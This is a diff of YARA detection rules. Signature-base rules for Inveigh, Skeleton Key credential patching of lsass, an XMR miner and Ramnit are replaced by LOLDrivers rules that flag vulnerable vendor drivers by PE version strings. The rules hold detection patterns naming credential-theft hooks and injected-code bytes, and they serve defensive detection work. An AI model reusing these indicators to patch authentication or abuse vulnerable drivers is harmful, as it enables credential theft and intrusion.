-		$s6 = "[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]" fullword ascii
-		$s7 = "FromBase64String('TQBlAHQAaABvAGQA')" ascii
-		$s8 = "FromBase64String('VAByAGkAZwBnAGUAcgA=')" ascii
-		$s9 = "[Runtime.InteropServices.CallingConvention]::Winapi," fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Inveigh_Bruteforce_3 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswvmmsys_Avastantivirus_3650 : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d284e93b-dd65-5a39-84e2-287feb6ae05b"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L228-L248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "09afe669e90bd73318a9f9f68fda362451f6611f8585de67176c5dc43f05f937"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswVmm.sys"
+		author = "Florian Roth"
+		id = "1b3abcb0-5317-58f0-bb7a-6bc1996483fa"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7250-L7269"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10"
+		logic_hash = "afe8e12664ee9061c2b2ecdcaaef0c38ece604d050e31b46208f9a22545042ca"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash3 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
 
 	strings:
-		$s1 = "::FromBase64String('TgBUAEwATQA=')" ascii
-		$s2 = "::FromBase64String('KgBTAE0AQgAgAHIAZQBsAGEAeQAgACoA')))" ascii
-		$s3 = "::FromBase64String('KgAgAGYAbwByACAAcgBlAGwAYQB5ACAAKgA=')))" ascii
-		$s4 = "::FromBase64String('KgAgAHcAcgBpAHQAdABlAG4AIAB0AG8AIAAqAA==')))" ascii
-		$s5 = "[Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`" fullword ascii
-		$s6 = "KgAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIAAqAA" ascii
-		$s7 = "}.bruteforce_running)" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00610076006100730074002100200056004d0020004d006f006e00690074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061007300770056006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00610076006100730074002100200041006e0074006900760069007200750073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061007300770056006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003300200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Skeleton_Key_Patcher
+rule LOLDRIVERS_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gdrv_FF67 : FILE
 {
 	meta:
-		description = "Skeleton Key Patcher from Dell SecureWorks Report http://goo.gl/aAk3lN"
-		author = "Dell SecureWorks Counter Threat Unit"
-		id = "a2805cce-7605-58a4-85ce-9dff5586858e"
-		date = "2015-01-13"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/aAk3lN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_skeletonkey.yar#L3-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "451b77152e38a120bd8d8a832f0f7c003974113ead18aabfe043a332fb1f484c"
-		score = 70
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "b5062d65-a4bc-5d0e-9883-7c1fa54138e8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7272-L7291"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339"
+		logic_hash = "18c40b7312d0b65d83287e452e8b9429eaed36245d17ef1b82ec04a968303a39"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$target_process = "lsass.exe" wide
-		$dll1 = "cryptdll.dll"
-		$dll2 = "samsrv.dll"
-		$name = "HookDC.dll"
-		$patched1 = "CDLocateCSystem"
-		$patched2 = "SamIRetrievePrimaryCredentials"
-		$patched3 = "SamIRetrieveMultiplePrimaryCredentials"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050004e00500020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037003100320030003100300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006700640072007600360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Skeleton_Key_Injected_Code
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_4408 : FILE
 {
 	meta:
-		description = "Skeleton Key injected Code http://goo.gl/aAk3lN"
-		author = "Dell SecureWorks Counter Threat Unit"
-		id = "29daaffa-cd9d-55d3-b79d-cde1c76e9e45"
-		date = "2015-01-13"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/aAk3lN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_skeletonkey.yar#L26-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e87cb9a49d0df6f75ca1ae51f8255ea476b699e82d525d7eca06bfda3462d84b"
-		score = 70
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "d5bbf94d-394a-599e-93f3-6f9d79cca02f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7294-L7313"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
+		logic_hash = "b038dcb0a536e16d71035d11537757f529589a435616abacd94aadd5663c2a17"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 }
-		$patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
-		$patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
-		$patch_SamIRetrieveMultiplePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_XMR_Miner_May19_1 : HIGHVOL FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_B583 : FILE
 {
 	meta:
-		description = "Detects Monero Crypto Coin Miner"
-		author = "Florian Roth (Nextron Systems)"
-		id = "233d1d47-de67-55a9-ae7e-46b5dd34e6ce"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L15-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85a65fd2355850b7f5261ad41091e181562938356ba3dae7d867f7ac8922a16e"
-		score = 85
-		quality = 85
-		tags = "HIGHVOL, FILE"
-		hash1 = "d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo10X64.sys"
+		author = "Florian Roth"
+		id = "eff26fc8-a458-5c15-8a0b-86773f8f6289"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7316-L7335"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704"
+		logic_hash = "d4f37a4c7014694cfcf57c11ee9d41edec1b6fa77a564341663c3411764dbcda"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$x1 = "donate.ssl.xmrig.com" fullword ascii
-		$x2 = "* COMMANDS     'h' hashrate, 'p' pause, 'r' resume" fullword ascii
-		$s1 = "[%s] login error code: %d" fullword ascii
-		$s2 = "\\\\?\\pipe\\uv\\%p-%lu" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <14000KB and (pe.imphash()=="25d9618d1e16608cd5d14d8ad6e1f98e" or 1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_CN_Prochook_May19_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_3D00 : FILE
 {
 	meta:
-		description = "Detects hacktool used by Chinese threat groups"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ae4e2613-8254-5ea6-af88-2f08ebe4da33"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L38-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de55990c130702a05e96ee769707a81ce0ec58a515d75a9a99b20265ce3db682"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "1ffe9a5e-5cdc-5db4-8247-e9726ee15428"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7338-L7357"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3d008e636e74c846fe7c00f90089ff725561cb3d49ce3253f2bbfbc939bbfcb2"
+		logic_hash = "d52c104de520b575b404d320a8ec762a146da8cc0567b5f30dc8594b7a1742ef"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "02ebdc1ff6075c15a44711ccd88be9d6d1b47607fea17bef7e5e17f8da35293e"
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300035002e00320035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300035002e00320035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and pe.imphash()=="343d580dd50ee724746a5c28f752b709"
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_PDB_CN_Threat_Actor_May19_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_ED2F : FILE
 {
 	meta:
-		description = "Detects PDB path user name used by Chinese threat actors"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fc6969ed-5fc1-5b3b-9659-c6fc1c9e2f9c"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L52-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "adcfe3d4bc6fcaf6be4f70c91fb2150bfa2d61f1ba84f96a0bf0c39ed0380b6a"
-		score = 65
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "288ce092-a3f2-57d0-9d28-a0c4b6faa52f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7360-L7379"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ed2f33452ec32830ffef2d5dc832985db9600c306ed890c47f3f33ccbb335c39"
+		logic_hash = "1da8ef4d1877ba9d2c31d994735f6395367de990be6c875c0cba37654ee39ad3"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
 
 	strings:
-		$x1 = "C:\\Users\\zcg\\Desktop\\" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000360033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 1 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolib_09BE : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "30b7487c-d5b7-52b1-a209-f6eb01f0f406"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7382-L7401"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "09bedbf7a41e0f8dabe4f41d331db58373ce15b2e9204540873a1884f38bdde1"
+		logic_hash = "23f5a77bae75d686a980e65dd6efe4ad216a60d75631fed169a83cc88d64675e"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
-rule SIGNATURE_BASE_MAL_Ramnit_May19_1 : FILE
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_A802 : FILE
 {
 	meta:
-		description = "Detects Ramnit malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f8fa3557-556e-5680-9f1a-2ecf118ade75"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L67-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51d574f457c37eba3c29f869e03244b9471be6f6c8319aa0ddfad34be748eb53"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "9cb0be23-e1d9-5698-bde2-81a870f81f83"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7404-L7423"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a8027daa6facf1ff81405daf6763249e9acf232a1a191b6bf106711630e6188e"
+		logic_hash = "8ef06932883bbd5ad62bd5d975fb341277a83271f7a21fc77cdebc6b9f4a05a6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "d7ec3fcd80b3961e5bab97015c91c843803bb915c13a4a35dfb5e9bdf556c6d3"
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100320031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and pe.imphash()=="500cd02578808f964519eb2c85153046"
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Parite_Malware_May19_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0F01 : FILE
 {
 	meta:
-		description = "Detects Parite malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f4c9da17-9894-5243-828a-827accb0bac5"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L80-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b458b05178f18be1e936c1b42bbd91c739f288570fca759b85f1bb143899f1a8"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "0328757c-e561-567c-b7ad-7e6bcba19bb5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
